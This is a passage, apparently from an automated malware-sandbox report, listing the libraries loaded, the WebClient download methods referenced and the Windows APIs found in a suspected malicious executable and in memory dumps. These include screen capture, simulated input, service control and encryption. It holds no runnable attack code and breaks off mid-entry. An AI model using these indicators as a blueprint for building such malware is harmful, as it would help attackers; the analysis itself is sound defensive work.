%ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MPCLIENT.DLL (UID: 00000000-00008120) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MsMpLics.dll (UID: 00000000-00008120) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\kernel32.dll (UID: 00000000-00008120) "powershell.exe" called "LoadLibrary" with a parameter USERENV.dll (UID: 00000000-00008120) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00008120) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00008120) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00008120) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll (UID: 00000000-00008120) "powershell.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00008120) "powershell.exe" called "LoadLibrary" with a parameter oleaut32 (UID: 00000000-00008120) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pae3498d9#\d922445a828b30938c72d375a3b34a60\Microsoft.PowerShell.Commands (UID: 00000000-00008120) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00005324) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00005324) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00005324) "cmd.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00005324) "AutoIt3_x64.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00004212) "AutoIt3_x64.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00004212) "AutoIt3_x64.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00004212) "AutoIt3_x64.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00004212) "AutoIt3_x64.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00004212) "AutoIt3_x64.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00004212) "AutoIt3_x64.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00004212) "AutoIt3_x64.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00004212) "AutoIt3_x64.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00004212) "AutoIt3_x64.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll (UID: 00000000-00004212) "AutoIt3_x64.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00004212) "AutoIt3_x64.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00004212) "AutoIt3_x64.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll (UID: 00000000-00004212) "AutoIt3_x64.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00004212) "AutoIt3_x64.exe" called "LoadLibrary" with a parameter ntdll (UID: 00000000-00004212) "AutoIt3_x64.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00004212) "AutoIt3_x64.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00004212) "AutoIt3_x64.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\fe2524177eb3088c77be666722039f52\mscorlib.ni.dll (UID: 00000000-00004212) "AutoIt3_x64.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll (UID: 00000000-00004212) "AutoIt3_x64.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00004212) "AutoIt3_x64.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00004212) "AutoIt3_x64.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00004212) "AutoIt3_x64.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00004212) "AutoIt3_x64.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll (UID: 00000000-00004212) "AutoIt3_x64.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll (UID: 00000000-00004212) "AutoIt3_x64.exe" called "LoadLibrary" with a parameter combase.dll (UID: 00000000-00004212) "AutoIt3_x64.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00004212) "AutoIt3_x64.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00004212) "AutoIt3_x64.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00004212) "AutoIt3_x64.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00004212) "AutoIt3_x64.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00004212) "AutoIt3_x64.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\e43dd9c73ab5615e461bf5109c3facd6\System.ni.dll (UID: 00000000-00004212) "AutoIt3_x64.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Drawing\ece80f2e3752a779e894fd45d8f27e64\System.Drawing.ni.dll (UID: 00000000-00004212) "AutoIt3_x64.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Windows.Forms\b138f79dea860272ebe6694d9b73f656\System.Windows.Forms.ni.dll (UID: 00000000-00004212) "AutoIt3_x64.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\0d59b0e237d7519417de10cd84bda4e7\System.Core.ni.dll (UID: 00000000-00004212) "AutoIt3_x64.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Configuration\4beb1eeca20b27d4bd1bb9880f03cc2a\System.Configuration.ni.dll (UID: 00000000-00004212) "AutoIt3_x64.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Xml\5ee35debfc22f727e70e4479ddcbc045\System.Xml.ni.dll (UID: 00000000-00004212) "AutoIt3_x64.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00004212) "AutoIt3_x64.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll (UID: 00000000-00004212) "AutoIt3_x64.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00004212) "AutoIt3_x64.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00004212) "AutoIt3_x64.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00004212)4a:T703,Observed Namespace "System.Net.WebClient" and MemberReference "DownloadFile" in "a45e2d72a3718dd27e9b0703307a2e4a.exe" Observed Namespace "System.Net.WebClient" and MemberReference "DownloadData" in "a45e2d72a3718dd27e9b0703307a2e4a.exe" Observed Namespace "System.Net.WebClient" and MemberReference "DownloadString" in "a45e2d72a3718dd27e9b0703307a2e4a.exe" Observed Namespace "System.Net.WebClient" and MemberReference "DownloadFile" in "dllhost.exe" Observed Namespace "System.Net.WebClient" and MemberReference "DownloadData" in "dllhost.exe" Observed Namespace "System.Net.WebClient" and MemberReference "DownloadString" in "dllhost.exe" Observed Namespace "System.Net.WebClient" and MemberReference "DownloadFile" in "RCX39E1.tmp" Observed Namespace "System.Net.WebClient" and MemberReference "DownloadData" in "RCX39E1.tmp" Observed Namespace "System.Net.WebClient" and MemberReference "DownloadString" in "RCX39E1.tmp" Observed Namespace "System.Net.WebClient" and MemberReference "DownloadFile" in "RCX2E95.tmp" Observed Namespace "System.Net.WebClient" and MemberReference "DownloadData" in "RCX2E95.tmp" Observed Namespace "System.Net.WebClient" and MemberReference "DownloadString" in "RCX2E95.tmp" Observed Namespace "System.Net.WebClient" and MemberReference "DownloadFile" in "RCX34CF.tmp" Observed Namespace "System.Net.WebClient" and MemberReference "DownloadData" in "RCX34CF.tmp" Observed Namespace "System.Net.WebClient" and MemberReference "DownloadString" in "RCX34CF.tmp" Observed Namespace "System.Net.WebClient" and MemberReference "DownloadFile" in "RCX27AE.tmp" Observed Namespace "System.Net.WebClient" and MemberReference "DownloadData" in "RCX27AE.tmp" Observed Namespace "System.Net.WebClient" and MemberReference "DownloadString" in "RCX27AE.tmp"4b:Tc4d4,Found reference to API (Indicator: "CreateDirectory"; File: "a45e2d72a3718dd27e9b0703307a2e4a.exe") Found reference to API (Indicator: "Sleep"; File: "a45e2d72a3718dd27e9b0703307a2e4a.exe") Found reference to API (Indicator: "GetCurrentProcess"; File: "a45e2d72a3718dd27e9b0703307a2e4a.exe") Found reference to API (Indicator: "GetParent"; File: "a45e2d72a3718dd27e9b0703307a2e4a.exe") Found reference to API (Indicator: "MessageBox"; File: "a45e2d72a3718dd27e9b0703307a2e4a.exe") Found reference to API (Indicator: "CloseHandle"; File: "a45e2d72a3718dd27e9b0703307a2e4a.exe") Found reference to API (Indicator: "DestroyIcon"; File: "a45e2d72a3718dd27e9b0703307a2e4a.exe") Found reference to API (Indicator: "DeleteObject"; File: "a45e2d72a3718dd27e9b0703307a2e4a.exe") Found reference to API (Indicator: "SelectObject"; File: "a45e2d72a3718dd27e9b0703307a2e4a.exe") Found reference to API (Indicator: "CreateCompatibleDC"; File: "a45e2d72a3718dd27e9b0703307a2e4a.exe") Found reference to API (Indicator: "GetDesktopWindow"; File: "a45e2d72a3718dd27e9b0703307a2e4a.exe") Found reference to API (Indicator: "BitBlt"; File: "a45e2d72a3718dd27e9b0703307a2e4a.exe") Found reference to API (Indicator: "CreateDC"; File: "a45e2d72a3718dd27e9b0703307a2e4a.exe") Found reference to API (Indicator: "DeleteDC"; File: "a45e2d72a3718dd27e9b0703307a2e4a.exe") Found reference to API (Indicator: "SetCursorPos"; File: "a45e2d72a3718dd27e9b0703307a2e4a.exe") Found reference to API (Indicator: "QueryFullProcessImageName"; File: "a45e2d72a3718dd27e9b0703307a2e4a.exe") Found reference to API (Indicator: "GetCursorInfo"; File: "a45e2d72a3718dd27e9b0703307a2e4a.exe") Found reference to API (Indicator: "CopyIcon"; File: "a45e2d72a3718dd27e9b0703307a2e4a.exe") Found reference to API (Indicator: "GetIconInfo"; File: "a45e2d72a3718dd27e9b0703307a2e4a.exe") Found reference to API (Indicator: "GetForegroundWindow"; File: "a45e2d72a3718dd27e9b0703307a2e4a.exe") Found reference to API (Indicator: "GetWindowText"; File: "a45e2d72a3718dd27e9b0703307a2e4a.exe") Found reference to API (Indicator: "SendInput"; File: "a45e2d72a3718dd27e9b0703307a2e4a.exe") Found reference to API (Indicator: "SuspendThread"; File: "a45e2d72a3718dd27e9b0703307a2e4a.exe") Found reference to API (Indicator: "ResumeThread"; File: "a45e2d72a3718dd27e9b0703307a2e4a.exe") Found reference to API (Indicator: "OpenThread"; File: "a45e2d72a3718dd27e9b0703307a2e4a.exe") Found reference to API (Indicator: "GetTempPath"; File: "a45e2d72a3718dd27e9b0703307a2e4a.exe") Found reference to API (Indicator: "QueueUserWorkItem"; File: "RCX34CF.tmp.224946509") Found reference to API (Indicator: "GetLength"; File: "RCX34CF.tmp.224946509") Found reference to API (Indicator: "ConvertSidToStringSidW"; Source: "00000000-00000364.00000000.67925.E13C6000.00000002.mdmp") Found reference to API (Indicator: "NetServerGetInfo"; Source: "00000000-00000364.00000000.67925.E13C6000.00000002.mdmp") Found reference to API (Indicator: "NetApiBufferFree"; Source: "00000000-00000364.00000000.67925.E13C6000.00000002.mdmp") Found reference to API (Indicator: "OpenSCManagerW"; Source: "00000000-00000364.00000000.67925.E13C6000.00000002.mdmp") Found reference to API (Indicator: "OpenServiceW"; Source: "00000000-00000364.00000000.67925.E13C6000.00000002.mdmp") Found reference to API (Indicator: "CloseServiceHandle"; Source: "00000000-00000364.00000000.67925.E13C6000.00000002.mdmp") Found reference to API (Indicator: "QueryServiceStatus"; Source: "00000000-00000364.00000000.67925.E13C6000.00000002.mdmp") Found reference to API (Indicator: "StartServiceW"; Source: "00000000-00000364.00000000.67925.E13C6000.00000002.mdmp") Found reference to API (Indicator: "LookupAccountNameW"; Source: "00000000-00000364.00000000.67925.E13C6000.00000002.mdmp") Found reference to API (Indicator: "RegConnectRegistryW"; Source: "00000000-00000364.00000000.67925.E13C6000.00000002.mdmp") Found reference to API (Indicator: "ConvertStringSecurityDescriptorToSecurityDescriptorW"; Source: "00000000-00000364.00000000.67925.E13C6000.00000002.mdmp") Found reference to API (Indicator: "WNetGetLastErrorW"; Source: "00000000-00000364.00000000.67925.E13C6000.00000002.mdmp") Found reference to API (Indicator: "WNetAddConnection2W"; Source: "00000000-00000364.00000000.67925.E13C6000.00000002.mdmp") Found reference to API (Indicator: "WNetCancelConnection2W"; Source: "00000000-00000364.00000000.67925.E13C6000.00000002.mdmp") Found reference to API (Indicator: "GetLastError"; Source: "00000000-00000364.00000000.67925.E13C6000.00000002.mdmp") Found reference to API (Indicator: "SetLastError"; Source: "00000000-00000364.00000000.67925.E13C6000.00000002.mdmp") Found reference to API (Indicator: "GetLocalTime"; Source: "00000000-00000364.00000000.67925.E13C6000.00000002.mdmp") Found reference to API (Indicator: "GetStdHandle"; Source: "00000000-00000364.00000000.67925.E13C6000.00000002.mdmp") Found reference to API (Indicator: "GetConsoleMode"; Source: "00000000-00000364.00000000.67925.E13C6000.00000002.mdmp") Found reference to API (Indicator: "SetConsoleMode"; Source: "00000000-00000364.00000000.67925.E13C6000.00000002.mdmp") Found reference to API (Indicator: "ReadConsoleW"; Source: "00000000-00000364.00000000.67925.E13C6000.00000002.mdmp") Found reference to API (Indicator: "WriteConsoleW"; Source: "00000000-00000364.00000000.67925.E13C6000.00000002.mdmp") Found reference to API (Indicator: "SystemTimeToFileTime"; Source: "00000000-00000364.00000000.67925.E13C6000.00000002.mdmp") Found reference to API (Indicator: "CompareFileTime"; Source: "00000000-00000364.00000000.67925.E13C6000.00000002.mdmp") Found reference to API (Indicator: "CreateFileW"; Source: "00000000-00000364.00000000.67925.E13C6000.00000002.mdmp") Found reference to API (Indicator: "CloseHandle"; Source: "00000000-00000364.00000000.67925.E13C6000.00000002.mdmp") Found reference to API (Indicator: "GetFileType"; Source: "00000000-00000364.00000000.67925.E13C6000.00000002.mdmp") Found reference to API (Indicator: "ReadFile"; Source: "00000000-00000364.00000000.67925.E13C6000.00000002.mdmp") Found reference to API (Indicator: "WriteFile"; Source: "00000000-00000364.00000000.67925.E13C6000.00000002.mdmp") Found reference to API (Indicator: "GetFileSizeEx"; Source: "00000000-00000364.00000000.67925.E13C6000.00000002.mdmp") Found reference to API (Indicator: "SetFilePointer"; Source: "00000000-00000364.00000000.67925.E13C6000.00000002.mdmp") Found reference to API (Indicator: "MultiByteToWideChar"; Source: "00000000-00000364.00000000.67925.E13C6000.00000002.mdmp") Found reference to API (Indicator: "CreateWellKnownSid"; Source: "00000000-00000364.00000000.67925.E13C6000.00000002.mdmp") Found reference to API (Indicator: "LocalFree"; Source: "00000000-00000364.00000000.67925.E13C6000.00000002.mdmp") Found reference to API (Indicator: "GetLocaleInfoW"; Source: "00000000-00000364.00000000.67925.E13C6000.00000002.mdmp") Found reference to API (Indicator: "LoadStringW"; Source: "00000000-00000364.00000000.67925.E13C6000.00000002.mdmp") Found reference to API (Indicator: "GetDateFormatW"; Source: "00000000-00000364.00000000.67925.E13C6000.00000002.mdmp") Found reference to API (Indicator: "GetTimeFormatW"; Source: "00000000-00000364.00000000.67925.E13C6000.00000002.mdmp") Found reference to API (Indicator: "RegCloseKey"; Source: "00000000-00000364.00000000.67925.E13C6000.00000002.mdmp") Found reference to API (Indicator: "HeapSetInformation"; Source: "00000000-00000364.00000000.67925.E13C6000.00000002.mdmp") Found reference to API (Indicator: "CoInitializeEx"; Source: "00000000-00000364.00000000.67925.E13C6000.00000002.mdmp") Found reference to API (Indicator: "CoInitializeSecurity"; Source: "00000000-00000364.00000000.67925.E13C6000.00000002.mdmp") Found reference to API (Indicator: "CoUninitialize"; Source: "00000000-00000364.00000000.67925.E13C6000.00000002.mdmp") Found reference to API (Indicator: "CoCreateInstance"; Source: "00000000-00000364.00000000.67925.E13C6000.00000002.mdmp") Found reference to API (Indicator: "RegOpenKeyExW"; Source: "00000000-00000364.00000000.67925.E13C6000.00000002.mdmp") Found reference to API (Indicator: "RegQueryValueExW"; Source: "00000000-00000364.00000000.67925.E13C6000.00000002.mdmp") Found reference to API (Indicator: "GetSidIdentifierAuthority"; Source: "00000000-00000364.00000000.67925.E13C6000.00000002.mdmp") Found reference to API (Indicator: "GetSidSubAuthorityCount"; Source: "00000000-00000364.00000000.67925.E13C6000.00000002.mdmp") Found reference to API (Indicator: "GetSidSubAuthority"; Source: "00000000-00000364.00000000.67925.E13C6000.00000002.mdmp") Found reference to API (Indicator: "Sleep"; Source: "00000000-00000364.00000000.67925.E13C6000.00000002.mdmp") Found reference to API (Indicator: "RtlCaptureContext"; Source: "00000000-00000364.00000000.67925.E13C6000.00000002.mdmp") Found reference to API (Indicator: "RtlLookupFunctionEntry"; Source: "00000000-00000364.00000000.67925.E13C6000.00000002.mdmp") Found reference to API (Indicator: "RtlVirtualUnwind"; Source: "00000000-00000364.00000000.67925.E13C6000.00000002.mdmp") Found reference to API (Indicator: "UnhandledExceptionFilter"; Source: "00000000-00000364.00000000.67925.E13C6000.00000002.mdmp") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; Source: "00000000-00000364.00000000.67925.E13C6000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; Source: "00000000-00000364.00000000.67925.E13C6000.00000002.mdmp") Found reference to API (Indicator: "TerminateProcess"; Source: "00000000-00000364.00000000.67925.E13C6000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleW"; Source: "00000000-00000364.00000000.67925.E13C6000.00000002.mdmp") Found reference to API (Indicator: "QueryPerformanceCounter"; Source: "00000000-00000364.00000000.67925.E13C6000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcessId"; Source: "00000000-00000364.00000000.67925.E13C6000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentThreadId"; Source: "00000000-00000364.00000000.67925.E13C6000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00000364.00000000.67925.E13C6000.00000002.mdmp") Found reference to API (Indicator: "GetTickCount"; Source: "00000000-00000364.00000000.67925.E13C6000.00000002.mdmp") Found reference to API (Indicator: "RtlInitUnicodeString"; Source: "00000000-00000364.00000000.67925.E13C6000.00000002.mdmp") Found reference to API (Indicator: "RtlCreateVirtualAccountSid"; Source: "00000000-00000364.00000000.67925.E13C6000.00000002.mdmp") Found reference to API (Indicator: "RtlNtStatusToDosError"; Source: "00000000-00000364.00000000.67925.E13C6000.00000002.mdmp") Found reference to API (Indicator: "StrStrIW"; Source: "00000000-00000364.00000000.67925.E13C6000.00000002.mdmp") Found reference to API (Indicator: "lstrlenW"; Source: "00000000-00000364.00000000.67925.E13C6000.00000002.mdmp") Found reference to API (Indicator: "GetComputerNameW"; Source: "00000000-00000364.00000000.67925.E13C6000.00000002.mdmp") Found reference to API (Indicator: "ExpandEnvironmentStringsW"; Source: "00000000-00000364.00000000.67925.E13C6000.00000002.mdmp") Found reference to API (Indicator: "RegCreateKeyExW"; Source: "00000000-00000364.00000000.67925.E13C6000.00000002.mdmp") Found reference to API (Indicator: "StringFromGUID2"; Source: "00000000-00000364.00000000.67925.E13C6000.00000002.mdmp") Found reference to API (Indicator: "RegDeleteKeyExW"; Source: "00000000-00000364.00000000.67925.E13C6000.00000002.mdmp") Found reference to API (Indicator: "RegSetValueExW"; Source: "00000000-00000364.00000000.67925.E13C6000.00000002.mdmp") Found reference to API (Indicator: "RegFlushKey"; Source: "00000000-00000364.00000000.67925.E13C6000.00000002.mdmp") Found reference to API (Indicator: "IIDFromString"; Source: "00000000-00000364.00000000.67925.E13C6000.00000002.mdmp") Found reference to API (Indicator: "EnterCriticalSection"; Source: "00000000-00000364.00000000.67925.E13C6000.00000002.mdmp") Found reference to API (Indicator: "LeaveCriticalSection"; Source: "00000000-00000364.00000000.67925.E13C6000.00000002.mdmp") Found reference to API (Indicator: "SetThreadUILanguage"; Source: "00000000-00000364.00000000.67925.E13C6000.00000002.mdmp") Found reference to API (Indicator: "FormatMessageW"; Source: "00000000-00000364.00000000.67925.E13C6000.00000002.mdmp") Found reference to API (Indicator: "VerSetConditionMask"; Source: "00000000-00000364.00000000.67925.E13C6000.00000002.mdmp") Found reference to API (Indicator: "WideCharToMultiByte"; Source: "00000000-00000364.00000000.67925.E13C6000.00000002.mdmp") Found reference to API (Indicator: "CompareStringW"; Source: "00000000-00000364.00000000.67925.E13C6000.00000002.mdmp") Found reference to API (Indicator: "GetThreadLocale"; Source: "00000000-00000364.00000000.67925.E13C6000.00000002.mdmp") Found reference to API (Indicator: "ExitProcess"; Source: "00000000-00000364.00000000.67925.E13C6000.00000002.mdmp") Found reference to API (Indicator: "GetConsoleOutputCP"; Source: "00000000-00000364.00000000.67925.E13C6000.00000002.mdmp") Found reference to API (Indicator: "GetProcessHeap"; Source: "00000000-00000364.00000000.67925.E13C6000.00000002.mdmp") Found reference to API (Indicator: "HeapFree"; Source: "00000000-00000364.00000000.67925.E13C6000.00000002.mdmp") Found reference to API (Indicator: "HeapValidate"; Source: "00000000-00000364.00000000.67925.E13C6000.00000002.mdmp") Found reference to API (Indicator: "HeapAlloc"; Source: "00000000-00000364.00000000.67925.E13C6000.00000002.mdmp") Found reference to API (Indicator: "HeapReAlloc"; Source: "00000000-00000364.00000000.67925.E13C6000.00000002.mdmp") Found reference to API (Indicator: "HeapSize"; Source: "00000000-00000364.00000000.67925.E13C6000.00000002.mdmp") Found reference to API (Indicator: "GetModuleFileNameW"; Source: "00000000-00000364.00000000.67925.E13C6000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoSizeExW"; Source: "00000000-00000364.00000000.67925.E13C6000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoExW"; Source: "00000000-00000364.00000000.67925.E13C6000.00000002.mdmp") Found reference to API (Indicator: "VerQueryValueW"; Source: "00000000-00000364.00000000.67925.E13C6000.00000002.mdmp") Found reference to API (Indicator: "CharUpperW"; Source: "00000000-00000364.00000000.67925.E13C6000.00000002.mdmp") Found reference to API (Indicator: "FileTimeToSystemTime"; Source: "00000000-00000364.00000000.67925.E13C6000.00000002.mdmp") Found reference to API (Indicator: "GetComputerNameExW"; Source: "00000000-00000364.00000000.67925.E13C6000.00000002.mdmp") Found reference to API (Indicator: "DelayLoadFailureHook"; Source: "00000000-00000364.00000000.67925.E13C6000.00000002.mdmp") Found reference to API (Indicator: "RtlVerifyVersionInfo"; Source: "00000000-00000364.00000000.67925.E13C6000.00000002.mdmp") Found reference to API (Indicator: "lstrlenA"; Source: "00000000-00000364.00000000.67925.E13C6000.00000002.mdmp") Found reference to API (Indicator: "CompareStringA"; Source: "00000000-00000364.00000000.67925.E13C6000.00000002.mdmp") Found reference to API (Indicator: "CryptDecrypt"; Source: "00000000-00000892.00000000.67865.1EBB0000.00000004.mdmp") Found reference to API (Indicator: "CryptEncrypt"; Source: "00000000-00000892.00000000.67865.1EBB0000.00000004.mdmp") Found reference to API (Indicator: "CryptDecrypt"; Source: "00000000-00001248.00000000.68514.9BE40000.00000004.mdmp, 00000000-00001248.00000002.72351.B6040000.00000004.mdmp") Found reference to API (Indicator: "CryptImportKey"; Source: "00000000-00001248.00000000.68514.9BE40000.00000004.mdmp") Found reference to API (Indicator: "CryptEncrypt"; Source: "00000000-00001248.00000000.68514.9BE40000.00000004.mdmp") Found reference to API (Indicator: "InitializeConditionVariable"; Source: "00000000-00001248.00000002.72351.F8CDA000.00000002.mdmp, 00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "SleepConditionVariableCS"; Source: "00000000-00001248.00000002.72351.F8CDA000.00000002.mdmp, 00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "WakeAllConditionVariable"; Source: "00000000-00001248.00000002.72351.F8CDA000.00000002.mdmp, 00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "GetStartupInfoW"; Source: "00000000-00001248.00000002.72351.F8CDA000.00000002.mdmp") Found reference to API (Indicator: "FindFirstFileW"; Source: "00000000-00001248.00000002.72351.F8CDA000.00000002.mdmp, 00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "RegQueryValueExW"; Source: "00000000-00001248.00000002.72351.F8CDA000.00000002.mdmp, 00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "CoInitialize"; Source: "00000000-00001248.00000002.72351.F8CDA000.00000002.mdmp") Found reference to API (Indicator: "CompareStringW"; Source: "00000000-00001248.00000002.72351.F8CDA000.00000002.mdmp") Found reference to API (Indicator: "SetLastError"; Source: "00000000-00001248.00000002.72351.F8CDA000.00000002.mdmp, 00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "CoTaskMemAlloc"; Source: "00000000-00001248.00000002.72351.F8CDA000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; Source: "00000000-00001248.00000002.72351.F8CDA000.00000002.mdmp, 00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "GetStdHandle"; Source: "00000000-00001248.00000002.72351.F8CDA000.00000002.mdmp") Found reference to API (Indicator: "WriteFile"; Source: "00000000-00001248.00000002.72351.F8CDA000.00000002.mdmp, 00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "ExpandEnvironmentStringsW"; Source: "00000000-00001248.00000002.72351.F8CDA000.00000002.mdmp, 00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "CoUninitialize"; Source: "00000000-00001248.00000002.72351.F8CDA000.00000002.mdmp, 00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "CoCreateInstance"; Source: "00000000-00001248.00000002.72351.F8CDA000.00000002.mdmp, 00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "SetThreadUILanguage"; Source: "00000000-00001248.00000002.72351.F8CDA000.00000002.mdmp") Found reference to API (Indicator: "RegGetValueW"; Source: "00000000-00001248.00000002.72351.F8CDA000.00000002.mdmp") Found reference to API (Indicator: "RegOpenKeyExW"; Source: "00000000-00001248.00000002.72351.F8CDA000.00000002.mdmp, 00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "FindClose"; Source: "00000000-00001248.00000002.72351.F8CDA000.00000002.mdmp, 00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "CreateFileW"; Source: "00000000-00001248.00000002.72351.F8CDA000.00000002.mdmp, 00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "GetFileAttributesW"; Source: "00000000-00001248.00000002.72351.F8CDA000.00000002.mdmp, 00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "FormatMessageW"; Source: "00000000-00001248.00000002.72351.F8CDA000.00000002.mdmp, 00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "GetLastError"; Source: "00000000-00001248.00000002.72351.F8CDA000.00000002.mdmp, 00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "CloseHandle"; Source: "00000000-00001248.00000002.72351.F8CDA000.00000002.mdmp, 00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "LoadStringW"; Source: "00000000-00001248.00000002.72351.F8CDA000.00000002.mdmp, 00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "WriteConsoleW"; Source: "00000000-00001248.00000002.72351.F8CDA000.00000002.mdmp") Found reference to API (Indicator: "LocalFree"; Source: "00000000-00001248.00000002.72351.F8CDA000.00000002.mdmp, 00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "VerSetConditionMask"; Source: "00000000-00001248.00000002.72351.F8CDA000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleW"; Source: "00000000-00001248.00000002.72351.F8CDA000.00000002.mdmp, 00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "CoInitializeEx"; Source: 